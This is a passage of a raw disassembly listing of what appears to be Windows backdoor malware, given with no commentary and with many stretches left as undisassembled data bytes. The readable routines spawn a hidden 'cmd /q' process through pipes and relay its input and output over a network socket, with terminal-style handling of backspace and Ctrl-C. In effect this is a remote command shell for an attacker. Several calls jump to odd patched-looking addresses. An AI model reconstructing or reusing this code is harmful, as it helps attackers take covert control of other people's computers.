cmp esi, edi
jz loc_411911
mov ebx, dword_427108
lea eax, [ebp+var_14]
push edi
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
mov [esi+4], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ebx
mov edi, dword_427070
test eax, eax
jnz short loc_41188A
call near ptr 2680972h
nop
push eax
push offset unk_435604
jmp short loc_4118AA
; ---------------------------------------------------------------------------
loc_41188A: ; CODE XREF: sub_411827+53j
lea eax, [ebp+var_14]
push 0
push eax
lea eax, [esi+4]
push eax
lea eax, [ebp+var_4]
push eax
call ebx
test eax, eax
jnz short loc_4118B2
nop
call near ptr 2680972h
push eax
push offset unk_4355C4
loc_4118AA: ; CODE XREF: sub_411827+61j
call sub_415DAC
pop ecx
jmp short loc_4118E0
; ---------------------------------------------------------------------------
loc_4118B2: ; CODE XREF: sub_411827+75j
push [ebp+arg_0]
push [ebp+var_8]
push [ebp+var_4]
call sub_411920
add esp, 0Ch
mov [esi+8], eax
push [ebp+var_4]
call edi
push [ebp+var_8]
call edi
cmp dword ptr [esi+8], 0
jnz short loc_411915
push offset unk_43559C
call sub_415D38
loc_4118E0: ; CODE XREF: sub_411827+89j
cmp [ebp+var_4], 0
pop ecx
jz short loc_4118EC
push [ebp+var_4]
call edi
loc_4118EC: ; CODE XREF: sub_411827+BEj
cmp [ebp+var_8], 0
jz short loc_4118F7
push [ebp+var_8]
call edi
loc_4118F7: ; CODE XREF: sub_411827+C9j
mov eax, [esi]
test eax, eax
jz short loc_411900
push eax
call edi
loc_411900: ; CODE XREF: sub_411827+D4j
mov eax, [esi+4]
test eax, eax
jz short loc_41190A
push eax
call edi
loc_41190A: ; CODE XREF: sub_411827+DEj
push esi
call sub_41BA91
pop ecx
loc_411911: ; CODE XREF: sub_411827+1Dj
xor eax, eax
jmp short loc_41191B
; ---------------------------------------------------------------------------
loc_411915: ; CODE XREF: sub_411827+ADj
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_41191B: ; CODE XREF: sub_411827+ECj
pop edi
pop esi
pop ebx
leave
retn
sub_411827 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411920 proc near ; CODE XREF: sub_411827+94p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
push ebx
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_58]
push esi
push eax
mov [ebp+var_4], esi
call sub_41BF70
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BF70
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
add esp, 18h
mov [ebp+var_20], eax
lea eax, [ebp+var_18]
mov [ebp+var_58], edi
mov edi, dword_427104
push esi
push 1
push 2
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi
push eax
push ebx
call edi
push eax
nop
call near ptr 2720000h
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call near ptr 2660B67h
nop
test eax, eax
jz short loc_4119DC
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_43E918[eax], ecx
nop
call near ptr 26608D5h
jmp short loc_4119F2
; ---------------------------------------------------------------------------
loc_4119DC: ; CODE XREF: sub_411920+9Aj
nop
call near ptr 2680972h
push eax
push offset unk_435644
call sub_415DAC
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_4119F2: ; CODE XREF: sub_411920+BAj
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_411920 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4119F9 proc near ; DATA XREF: sub_4116D6+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1B0h
push ebx
push esi
mov ebx, dword_4270EC
push edi
mov edi, [ebp+arg_0]
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
loc_411A22: ; CODE XREF: sub_4119F9+8Fj
call ebx
test eax, eax
jz short loc_411A8A
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+arg_0], eax
jbe short loc_411A5D
loc_411A33: ; CODE XREF: sub_4119F9+62j
mov cl, [ebp+esi+var_C8]
cmp cl, 0Ah
jnz short loc_411A4D
cmp dl, 0Dh
jz short loc_411A4D
mov [ebp+eax+var_1B0], 0Dh
inc eax
loc_411A4D: ; CODE XREF: sub_4119F9+44j
; sub_4119F9+49j
mov [ebp+eax+var_1B0], cl
inc eax
inc esi
mov dl, cl
cmp esi, [ebp+arg_0]
jb short loc_411A33
loc_411A5D: ; CODE XREF: sub_4119F9+38j
push 0
push eax
lea eax, [ebp+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_4CBA24
test eax, eax
jle short loc_411A8A
lea eax, [ebp+arg_0]
push 0
push eax
lea eax, [ebp+var_C8]
push 0C8h
push eax
push dword ptr [edi]
jmp short loc_411A22
; ---------------------------------------------------------------------------
loc_411A8A: ; CODE XREF: sub_4119F9+2Dj
; sub_4119F9+79j
mov esi, dword_427094
call esi
cmp eax, 6Dh
jz short loc_411AA6
call esi
push eax
push offset dword_435684
call sub_415DAC
pop ecx
pop ecx
loc_411AA6: ; CODE XREF: sub_4119F9+9Cj
pop edi
pop esi
pop ebx
leave
retn
sub_4119F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411AAB proc near ; DATA XREF: sub_4116D6+71o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_0]
xor esi, esi
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
loc_411AC4: ; CODE XREF: sub_411AAB+39j
; sub_411AAB+D7j ...
push ebx
lea eax, [ebp+arg_0+3]
push 1
push eax
push dword ptr [edi+0Ch]
call dword_4CB9EC
test eax, eax
jle loc_411BC9
cmp [ebp+var_10], ebx
jbe short loc_411AE6
dec [ebp+var_10]
jmp short loc_411AC4
; ---------------------------------------------------------------------------
loc_411AE6: ; CODE XREF: sub_411AAB+34j
mov al, byte ptr [ebp+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_411BA9
cmp al, 8
mov [ebp+var_C], ebx
jz short loc_411B56
cmp al, 7Fh
jz short loc_411B56
cmp al, 3
jnz short loc_411B11
push ebx
push ebx
nop
call near ptr 2780122h
jmp short loc_411B7D
; ---------------------------------------------------------------------------
loc_411B11: ; CODE XREF: sub_411AAB+5Aj
cmp al, 15h
jnz short loc_411B33
xor esi, esi
mov [ebp+var_8], 20h
mov [ebp+var_7], 58h
mov [ebp+var_6], 58h
mov [ebp+var_5], 58h
mov [ebp+var_4], 0Dh
mov [ebp+var_3], 0Ah
push 6
jmp short loc_411B69
; ---------------------------------------------------------------------------
loc_411B33: ; CODE XREF: sub_411AAB+68j
mov [ebp+esi+var_DC], al
inc esi
push 1
cmp al, 0Dh
mov [ebp+var_8], al
pop ecx
jnz short loc_411B6A
mov [ebp+esi+var_DC], 0Ah
mov [ebp+var_7], 0Ah
inc esi
push 2
jmp short loc_411B69
; ---------------------------------------------------------------------------
loc_411B56: ; CODE XREF: sub_411AAB+52j
; sub_411AAB+56j
cmp esi, ebx
jbe short loc_411B80
dec esi
mov [ebp+var_8], 8
mov [ebp+var_7], 20h
mov [ebp+var_6], 8
push 3
loc_411B69: ; CODE XREF: sub_411AAB+86j
; sub_411AAB+A9j
pop ecx
loc_411B6A: ; CODE XREF: sub_411AAB+98j
push ebx
lea eax, [ebp+var_8]
push ecx
push eax
push dword ptr [edi+0Ch]
call dword_4CBA24
test eax, eax
jle short loc_411BC9
loc_411B7D: ; CODE XREF: sub_411AAB+64j
mov al, byte ptr [ebp+arg_0+3]
loc_411B80: ; CODE XREF: sub_411AAB+ADj
cmp al, 0Dh
jnz loc_411AC4
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_DC]
push esi
push eax
push dword ptr [edi+4]
nop
call near ptr 2700000h
test eax, eax
jz short loc_411BC9
xor esi, esi
jmp loc_411AC4
; ---------------------------------------------------------------------------
loc_411BA9: ; CODE XREF: sub_411AAB+47j
cmp [ebp+var_C], ebx
jnz short loc_411BBA
mov [ebp+var_C], 1
jmp loc_411AC4
; ---------------------------------------------------------------------------
loc_411BBA: ; CODE XREF: sub_411AAB+101j
mov [ebp+var_10], 0Ah
mov [ebp+var_C], ebx
jmp loc_411AC4
; ---------------------------------------------------------------------------
loc_411BC9: ; CODE XREF: sub_411AAB+2Bj
; sub_411AAB+D0j ...
pop edi
pop esi
pop ebx
leave
retn
sub_411AAB endp
; ---------------------------------------------------------------------------
word_411BCE dw 8B55h ; DATA XREF: sub_401ACD+2BC4o
dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h, 0BD8D5BF0h
dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
dd 53000000h, 56EC458Dh, 0A36AE850h, 0C4830000h, 45C7660Ch
dd 0FF0002ECh, 15FFC075h, 4CB9D4h, 6A57066Ah, 45896602h
dd 0F07589EEh, 0BA5415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
dd 0B8895300h, 43E91Ch, 50EC458Dh, 15FF57h, 85004CBAh
dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB9FCh, 850FC085h
dd 110h, 0FFC075FFh, 0FFFF2CB5h, 8D98E8FFh, 5059FFFFh
dd 0FD2C858Dh, 9468FFFFh, 500042BCh, 0A5E5E8h, 10C48300h
dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh, 0FF30858Dh
dd 0FF50FFFFh, 0FFFF2CB5h, 7BC3E8FFh, 0C483FFFFh, 2C858D14h
dd 50FFFFFDh, 4083E8h, 458D5900h, 458D50FCh, 0FF5750DCh
dd 4CBA6815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
dd 6015FFE0h, 50004CBAh, 0FD2C858Dh, 3068FFFFh, 50004357h
dd 0A579E8h, 858D5300h, 0FFFFFD2Ch, 0E850196Ah, 0FFFF96BEh
dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E91488h
dd 8458D00h, 2C858D50h, 56FFFFFFh, 1DD36850h, 56560041h
dd 0E2D6E890h, 4D8B0226h, 34C969C8h, 3B000002h, 248189C6h
dd 740043E9h, 0D8753913h, 0FF63850Fh, 56AFFFFh, 0F149E890h
dd 0EDEB0225h, 0EC1CE890h, 8D500226h, 0FFFD2C85h, 56F468FFh
dd 0E8500043h, 0A4FEh, 0E90CC483h, 0FFFFFF39h, 6C15FF57h
dd 0FF004CBAh, 858DC075h, 0FFFFFD2Ch, 4356C068h, 0DBE85000h
dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh, 75FFFFFFh
dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF7AB9h
dd 8D14C483h, 0FFFD2C85h, 79E850FFh, 0FF00003Fh, 0FE8C475h
dd 59FFFF99h, 0E8905659h, 22CE230h, 555B5E5Fh, 0EC81EC8Bh
dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
dd 16AD475h, 69087589h, 234F6h, 0B68D5F00h, 43E91Ch, 0ACB889h
dd 0DB330000h, 45C7068Bh, 5F8h, 30858900h, 8DFFFFFAh, 5350F845h
dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
dd 4CB9BCh, 1875C085h, 15FF36FFh, 4CBA6Ch, 0E80875FFh
dd 0FFFF988Ah, 0E8905359h, 22CE1ACh, 30858D53h, 68FFFFFBh
dd 408h, 0FF36FF50h, 4CB9EC15h, 7FC08500h, 0FF36FF18h
dd 4CBA6C15h, 875FF00h, 0FF9859E8h, 905359FFh, 2CE17BE8h
dd 30BD8002h, 4FFFFFBh, 1ED850Fh, 0BD800000h, 0FFFFFB31h
dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh, 0FB38858Dh
dd 0E850FFFFh, 0AB9Ch, 59C08559h, 458D6174h, 858D50BCh
dd 0FFFFFB38h, 57F86850h, 0DDE80043h, 6800003Eh, 400h
dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h
dd 0A082E85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah
dd 2415FF36h, 0FF004CBAh, 6C15FF36h, 0FF004CBAh, 0C3E80875h
dd 59FFFF97h, 0E5E89053h, 6A022CE0h, 0E8458D10h, 49E85053h
dd 660000A0h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh
dd 6AFFFFFBh, 26A5706h, 0E845C766h, 45890002h, 5415FFECh
dd 8B004CBAh, 0FFFF83F8h, 15FF5D75h, 4CB968h, 57B86850h
dd 45E80043h, 6800003Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
dd 85C6FFFFh, 0FFFFFB31h, 9FEAE85Bh, 0C4830000h, 30858D14h
dd 53FFFFFBh, 0FF50086Ah, 2415FF36h, 0FF004CBAh, 6C15FF36h
dd 0FF004CBAh, 2BE80875h, 59FFFF97h, 0E04EE853h, 8D90022Ch
dd 106AE845h, 15FF5750h, 4CB97Ch, 75FFF883h, 6815FF5Dh
dd 50004CB9h, 43577468h, 3DD6E800h, 680000h, 8D000004h
dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
dd 9F7BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
dd 0BA2415FFh, 36FF004Ch, 0BA6C15FFh, 75FF004Ch, 96BCE808h
dd 5359FFFFh, 0DFDEE890h, 68022Ch, 8D000004h, 0FFFB3885h
dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh, 9F2FE8h
dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0BA2415FFh
dd 36FF004Ch, 39E857h, 59590000h, 6C15FF57h, 0FF004CBAh
dd 6C15FF36h, 0FF004CBAh, 5FE80875h, 59FFFF96h, 0DF82E853h
dd 0FF90022Ch, 6C15FF36h, 0FF004CBAh, 47E80875h, 59FFFF96h
dd 69E89053h
; ---------------------------------------------------------------------------
fild qword ptr [edx+eax]
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+0Ch]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4120AD: ; CODE XREF: ___:0041215Cj
; ___:0041218Cj
mov [ebp-100h], ebx
mov dword ptr [ebp-104h], 1
xor ecx, ecx
lea eax, [ebp-100h]
loc_4120C5: ; CODE XREF: ___:004120D3j
mov edx, [ebp+8]
cmp [eax], edx
jz short loc_4120D5
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_4120C5
loc_4120D5: ; CODE XREF: ___:004120CAj
cmp ecx, 1
jnz short loc_4120EA
mov [ebp-0FCh], edx
mov dword ptr [ebp-104h], 2
loc_4120EA: ; CODE XREF: ___:004120D8j
push esi
lea eax, [ebp-504h]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp-104h]
push edi
push edi
push edi
push eax
push edi
call dword_4CB9BC
lea eax, [ebp-104h]
push eax
push ebx
call dword_4CB8C0
test eax, eax
jz short loc_41214A
push edi
lea eax, [ebp-504h]
push esi
push eax
push ebx
call dword_4CB9EC
cmp eax, 0FFFFFFFFh
jz short loc_412192
push edi
push eax
lea eax, [ebp-504h]
push eax
push dword ptr [ebp+8]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jz short loc_412192
loc_41214A: ; CODE XREF: ___:0041211Cj
lea eax, [ebp-104h]
push eax
push dword ptr [ebp+8]
call dword_4CB8C0
test eax, eax
jz loc_4120AD
push edi
lea eax, [ebp-504h]
push esi
push eax
push dword ptr [ebp+8]
call dword_4CB9EC
cmp eax, 0FFFFFFFFh
jz short loc_412192
push edi
push eax
lea eax, [ebp-504h]
push eax
push ebx
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz loc_4120AD
loc_412192: ; CODE XREF: ___:00412131j
; ___:00412148j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
byte_412197 db 55h ; DATA XREF: sub_401ACD+20B3o
; sub_40BD91+106o
dd 0EC81EC8Bh, 87Ch, 5308558Bh, 16A5756h, 0B958DB33h, 0A9h
dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0BA5415FFh
dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h, 225ECABh
dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7655h
dd 8D14C483h, 0FFF88885h, 15E850FFh, 0FF00003Bh, 0FFFE98B5h
dd 94A8E8FFh, 5959FFFFh, 0C9E89053h, 8D022CDDh, 46AF045h
dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB9B4h, 6AEC458Dh
dd 0FB6A5004h, 15FF5657h, 4CB9B4h, 0FE98858Bh, 106AFFFFh
dd 234C069h, 89530000h, 43E91CB0h, 0D4458D00h, 9CF6E850h
dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 0D415FFFFh
dd 66004CB9h, 8DD64589h, 106AD445h, 5D895650h, 15FFD8h
dd 83004CBAh, 1975FFF8h, 138868h, 0EBE5E800h, 0FF900225h
dd 0FFFE9C8Dh, 875FFFFh, 32FE9h, 90858D00h, 68FFFFFCh
dd 429068h, 9BD0E850h, 3B590000h, 458959C3h, 684C75FCh
dd 190h, 25EBB2E8h, 8D539002h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7563E8FFh, 858DFFFFh
dd 0FFFFF888h, 3A26E850h, 0B5FF0000h, 0FFFFFE98h, 0FF93B9E8h
dd 1CC483FFh, 0D9E89053h, 8B022CDCh, 9F39087Dh, 2A0h, 27D840Fh
dd 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh, 5E445C7h
dd 0C7000000h, 1388E845h, 0B5890000h, 0FFFFF788h, 0F78485C7h
dd 1FFFFh, 9E80000h, 8300009Ch, 458D0CC4h, 8D5350E4h, 0FFF78485h
dd 535053FFh, 0B9BC15FFh, 0C085004Ch, 2218E0Fh, 88A00000h
dd 8B0043DBh, 888588CFh, 33FFFFFAh, 89BD8DC0h, 0C7FFFFFAh
dd 10F445h, 0ABF30000h, 8DAAAB66h, 8D50F445h, 5350C445h
dd 0FF30858Dh, 8068FFFFh, 50000000h, 0AC15FF56h, 0FF004CB9h
dd 4589C875h, 6015FFF8h, 50004CBAh, 50B0458Dh, 9E8DE8h
dd 309D3800h, 59FFFFFFh, 0AA850F59h, 80000001h, 0FFFF31BDh
dd 850F01FFh, 0A3h, 0FD94858Dh, 0E850FFFFh, 95C0h, 75FF5353h
dd 0B681E8FCh, 75FF0000h, 8C858DFCh, 88FFFFFAh, 0FFFA889Dh
dd 8985C6FFh, 3FFFFFAh, 20068h, 50016A00h, 0FA8A9D88h
dd 85C6FFFFh, 0FFFFFA8Bh, 96C0E801h, 0C4830000h, 0C44D8D20h
dd 83F84589h, 75FF04C0h, 505351F4h, 0FA88858Dh, 5650FFFFh
dd 0BA3815FFh, 9D39004Ch, 0FFFFFF28h, 8D532375h, 0FFF88885h
dd 24B5FFFFh, 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h
dd 73E7E8FFh, 0C483FFFFh, 88858D14h, 50FFFFF8h, 38A7E8h
dd 10E95900h, 80000001h, 0FFFF31BDh, 850F04FFh, 0EDh, 0FF338D8Ah
dd 858AFFFFh, 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh
dd 3FFFFFAh, 0C0FE1275h, 8588C932h, 0FFFFFA8Ah, 0FA8B9D88h
dd 0EEBFFFFh, 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh
dd 0C9B60FC0h, 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h
dd 0FC75FF50h, 0B58AE8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh
dd 0E7E85001h, 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh
dd 478D50F4h, 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CBA3815h
dd 75FB3B00h, 0B0458D6Eh, 88858D50h, 68FFFFF8h, 434798h
dd 9D18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh, 858D5323h
dd 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh
dd 0FFFFFC8Ch, 0FF72F0E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh
dd 37B0h, 0E4DC05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh
dd 68096A53h, 435838h, 3815FF56h, 39004CBAh, 8F0FF85Dh
dd 0FFFFFD77h, 56087D8Bh, 0BA6C15FFh, 75FF004Ch, 9479E8FCh
dd 8DFF0000h, 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h
dd 0E8FFFFFEh, 0FFFF90FAh, 1DE85359h, 90022CDAh, 3E868h
dd 0A8E89000h, 570225E8h, 0FFFBA2E8h, 5B5E5FFFh, 4C2C9h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 200h
cmp dword ptr [ebp+98h], 0
jz short loc_41266C
push esi
mov esi, offset dword_435848
loc_412614: ; CODE XREF: ___:00412667j
push esi
push dword ptr [ebp+0Ch]
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_41265B
push esi
lea eax, [ebp-200h]
push dword ptr [ebp+8]
push offset dword_436BB4
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp-200h]
push dword ptr [ebp+9Ch]
push eax
lea eax, [ebp+18h]
push eax
push dword ptr [ebp+10h]
call sub_409869
add esp, 28h
loc_41265B: ; CODE XREF: ___:00412621j
add esi, 80h
cmp esi, offset dword_436448
jb short loc_412614
pop esi
jmp short loc_4126A3
; ---------------------------------------------------------------------------
loc_41266C: ; CODE XREF: ___:0041260Cj
push dword ptr [ebp+8]
lea eax, [ebp-200h]
push offset aS_1 ; "%s"
push 200h
push eax
call sub_41C360
push 0
lea eax, [ebp-200h]
push dword ptr [ebp+9Ch]
push eax
lea eax, [ebp+18h]
push eax
push dword ptr [ebp+10h]
call sub_409869
add esp, 24h
loc_4126A3: ; CODE XREF: ___:0041266Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
byte_4126A7 db 55h ; DATA XREF: sub_401ACD+7374o
dd 0EC81EC8Bh, 920h, 5308458Bh, 0A5835756h, 0FFFFF6E0h
dd 83266A00h, 59000865h, 0BD8DF08Bh, 0FFFFFF20h, 80C7A5F3h
dd 94h, 1, 0FFB9h, 8DC03300h, 0FFF6E4BDh, 0FFABF3FFh, 4CB95815h
dd 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h, 200BB00h
dd 86A0000h, 0E78DE890h, 15FF0225h, 4CB958h, 0FF8453Bh
dd 16184h, 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h
dd 0A87D8300h, 0CC840F00h, 8D000000h, 0FFFD2085h, 81E850FFh
dd 85000092h, 747659C0h, 50B8458Dh, 9273E8h, 1F88300h
dd 8D657359h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h
dd 0FBE85000h, 8100009Ah, 8CECh, 0B8458D00h, 0FF20B58Dh
dd 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh, 0FE6EE850h
dd 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah, 97D0h
dd 0ACC481h, 858D0000h, 0FFFFFB20h, 50006A53h, 97BBE8h
dd 0CC48300h, 0FD20858Dh, 0E850FFFFh, 91FCh, 0F59C085h
dd 0AD86h, 0B8458D00h, 91EAE850h, 0C0850000h, 9B860F59h
dd 8D000000h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h
dd 6FE85000h, 8100009Ah, 8CECh, 8D34EB00h, 0E850B845h
dd 91B8h, 0F59C085h, 11486h, 0B8458D00h, 20858D50h, 50FFFFFDh
dd 0FB20858Dh, 1C68FFFFh, 5000436Ch, 9A39E8h, 88EC8100h
dd 6A000000h, 0B8458D26h, 20B58D59h, 8BFFFFFFh, 858D50FCh
dd 0FFFFFB20h, 0E850A5F3h, 0FFFFFDACh, 53084589h, 0FD20858Dh
dd 6AFFFFh, 970EE850h, 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh
dd 0F9E85000h, 83000096h, 7D830CC4h, 840F00A8h, 0A1h, 15FF016Ah
dd 4CB9A0h, 80013D66h, 8F850Fh, 858D0000h, 0FFFFFD20h
dd 911EE850h, 0C0850000h, 0FF7E7659h, 4CB95815h, 0E08D8D00h
dd 6AFFFFFAh, 0FF50513Ch, 4CB97015h, 20858D00h, 50FFFFFDh
dd 0FB20858Dh, 3C68FFFFh, 5000436Ch, 9991E8h, 8CEC8100h
dd 8D000000h, 0FFFAE085h, 20B58DFFh, 6AFFFFFFh, 0FC8B5926h
dd 20858D50h, 0F3FFFFFBh, 1E850A5h, 89FFFFFDh, 8D530845h
dd 0FFFD2085h, 50006AFFh, 9663E8h, 0ACC48100h, 8D000000h
dd 0FFFB2085h, 6A53FFh, 964EE850h, 0C4830000h, 0FC45C70Ch
dd 43644Ch, 15FF106Ah, 4CB8A8h, 8BF0BF0Fh, 788BFC45h, 15FF57FCh
dd 4CB9A0h, 7480C4F6h, 0FF146A7Bh, 4CB8A815h, 0C0856600h
dd 0FE831F74h, 831A7EFFh, 157E40FFh, 7D5BFF83h, 0BD84C710h
dd 0FFFFF6E0h, 1, 1BDE9h, 0FF146A00h, 4CB8A815h, 0C0856600h
dd 0F6851E74h, 0FF832E7Dh, 83157E40h, 107D5BFFh, 0E0BD84C7h
dd 2FFFFF6h, 0E9000000h, 192h, 107DF685h, 0E0BD84C7h, 3FFFFF6h
dd 0E9000000h, 17Eh, 0E0BD84C7h, 4FFFFF6h, 0E9000000h
dd 16Eh, 0E0BDB48Bh, 8DFFFFF6h, 0F6E0BD84h, 0F685FFFFh
dd 158840Fh, 20830000h, 20858D00h, 83FFFFFDh, 755008FFh
dd 8FD2E813h, 0A4800000h, 0FFFD1F05h, 0E95900FFh, 136h
dd 8FBFE8h, 1B93D00h, 76590000h, 5815FF39h, 8D004CB9h
dd 3C6AB84Dh, 15FF5051h, 4CB970h, 0A87D83h, 858D0E74h
dd 0FFFFFD20h, 6C046850h, 55EB0043h, 50B8458Dh, 0FD20858Dh
dd 6850FFFFh, 436BE8h, 0FF8364EBh, 0B9850F0Dh, 8D000000h
dd 0FFFD2085h, 69E850FFh, 8500008Fh, 840F59C0h, 0D2h, 0B95815FFh
dd 4D8D004Ch, 513C6AB8h, 7015FF50h, 83004CB9h, 7400A87Dh
dd 20858D1Dh, 50FFFFFDh, 436BD468h, 20858D00h, 50FFFFFBh
dd 97D5E8h, 0CC48300h, 458D1FEBh, 858D50B8h, 0FFFFFD20h
dd 6BBC6850h, 858D0043h, 0FFFFFB20h, 97B4E850h, 0C4830000h
dd 98EC8110h, 8D000000h, 0B58DB845h, 0FFFFFF20h, 8B59266Ah
dd 858D50FCh, 0FFFFFB20h, 0E850A5F3h, 0FFFFFB24h, 53084589h
dd 0FD20858Dh, 6AFFFFh, 9486E850h, 0C4810000h, 0ACh, 0FB20858Dh
dd 6A53FFFFh, 71E85000h, 83000094h, 2EEB0CC4h, 7401FE83h
dd 3FE8314h, 0FE830F74h, 83057402h, 1A7504FEh, 0EBFC75FFh
dd 0FC458B07h, 5007C083h, 0FD20858Dh, 0E850FFFFh, 9D70h
dd 45835959h, 7D8114FCh, 436B7CFCh, 0E98C0F00h, 83FFFFFDh
dd 0F00087Dh, 0FFFBB584h, 24B5FFFFh, 0E8FFFFFFh, 0FFFF8B7Eh
dd 90006A59h, 2CD49FE8h
db 2
